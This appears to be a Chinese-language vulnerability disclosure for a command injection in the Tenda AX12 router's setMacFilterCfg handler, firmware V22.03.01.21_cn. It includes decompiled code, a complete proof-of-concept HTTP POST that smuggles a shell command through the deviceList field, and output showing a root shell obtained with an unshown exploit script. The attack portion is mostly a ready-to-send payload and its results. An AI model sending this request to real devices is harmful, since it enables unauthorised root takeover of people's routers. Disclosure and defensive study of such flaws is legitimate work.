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Tenda AX12存在命令注入漏洞

写在前面

Tenda官网: <https://www.tenda.com.cn/default.html>

关于Tenda: <https://www.tenda.com.cn/profile/contact.html>

固件下载: <https://www.tenda.com.cn/download/>

影响版本

当前版本: V22.03.01.21_cn

升级类型: ☒ 在线升级 ☐ 本地升级

当前版本为最新版本, 不需要升级

图中显示了最新版本

漏洞细节

```
56 sub_409A54("getSystemStatus", sub_429478);
57 sub_409A54("getIPv6Status", sub_422C14);
58 sub_409A54("setIPv6Status", sub_422CE4);
59 sub_409A54("getBlackRuleList", sub_424048);
60 sub_409A54("getMacFilterCfg", sub_423CF0);
61 sub_409A54("setBlackRule", sub_424644);
62 sub_409A54("delBlackRule", sub_424890);
63 sub_409A54("setMacFilterCfg", sub_424334);
64 sub_409A54("getOnlineList", sub_42ADA8);
65 sub_409A54("GetParentCtrlList", sub_425784);
66 sub_409A54("GetParentControlInfo", sub_4251A4);
67 sub_409A54("parentControlEn", sub_425C04);
68 sub_409A54("SetOnlineDevName", sub_424FB4);
69 sub_409A54("delParentalRule", sub_425D30);
70 sub_409A54("saveParentControlInfo", sub_4258F4);
71 sub_409A54("SetSysAutoRebbotCfg", sub_42D284);
72 sub_409A54("GetSysAutoRebbotCfg", sub_42D1B0);
```

```
26 v12[2] = 0;
27 v12[3] = 0;
28 blob_buf_init(v11, 0);
29 blob_buf_init(v12, 0);
30 v2 = (const char *)webgetvar(a1, "macFilterType", "");
31 v3 = (const char *)webgetvar(a1, "deviceList", "");
32 printf(
33     "%s[%s:%s:%d] %sget mac == %s\n\x1B[0m",
34     "\x1B[0;33m",
35     (const char *)&dword_449F94,
36     "formSetMacFilterCfg",
37     497,
38     "\x1B[0;32m",
39     v2);
```

```

89 doSystemCmd("echo %s >/tmp/macfilter", (const char *)&v3[2]);
90 tapi_set_mt_rule(v11[0]);
91 blob_buf_free(v11);
92 sprintf(v15, "{\"errCode\":%d}", v4);
93 sub_41B688(a1, v15);
94 return _stack_chk_guard;
95

```

程序通过devicelist参数获取到的内容传递给v3，之后将v3带入doystem函数，没有进行命令的过滤，存在命令注入漏洞。

漏洞复现与POC

为了重现该漏洞，可以遵循以下步骤：

- 1.使用fat模拟固件V22.03.01.21_cn
- 2.使用以下POC攻击进行攻击

```

POST /goform/setMacFilterCfg HTTP/1.1
Host: 192.168.11.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101
Firefox/96.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 51
Origin: http://192.168.11.1
Connection: close
Referer: http://192.168.11.1/iptv.html?random=0.7642888131213508&
Cookie: password=7c90ed4e4d4bf1e300aa08103057ccbcmho1qw

macFilterType=1&deviceList=1"echo 1234 > /tmp/4455 \\"

```

```

/tmp # ls
4455          td_acs_auto_bandwidth_log  wps_monitor.pid
auto.socket   td_acs_dbg_svr
/tmp # find / -name *.sh

```

图为POC攻击效果图

最后，您可以编写exp，这可以实现获取根shell的非常稳定的效果

```
iot@attifyos ~/0/T/AX12> python3 exp2.py  
iot@attifyos ~/0/T/AX12> █
```

```
root@AX12:/# ls  
bin      files    opt      rom      sys      var  
dev      lib      overlay  root     tmp      www  
etc      mnt      proc     sbin     usr  
root@AX12:/# id  
uid=0(root) gid=0(root) groups=0(root)  
root@AX12:/# █
```